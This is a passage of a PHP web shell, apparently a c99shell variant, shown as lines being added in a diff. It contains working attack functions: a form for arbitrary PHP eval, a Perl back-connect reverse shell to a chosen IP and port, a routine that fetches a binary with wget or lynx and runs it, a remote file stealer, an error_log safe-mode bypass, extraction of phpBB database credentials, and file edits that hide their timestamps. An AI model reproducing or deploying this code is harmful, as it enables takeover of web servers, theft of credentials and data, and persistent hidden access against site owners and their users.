{$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + + + + + + + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> + <form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Error_Log SAfe Mode Bypass By Psych0 ;)</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko =="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". 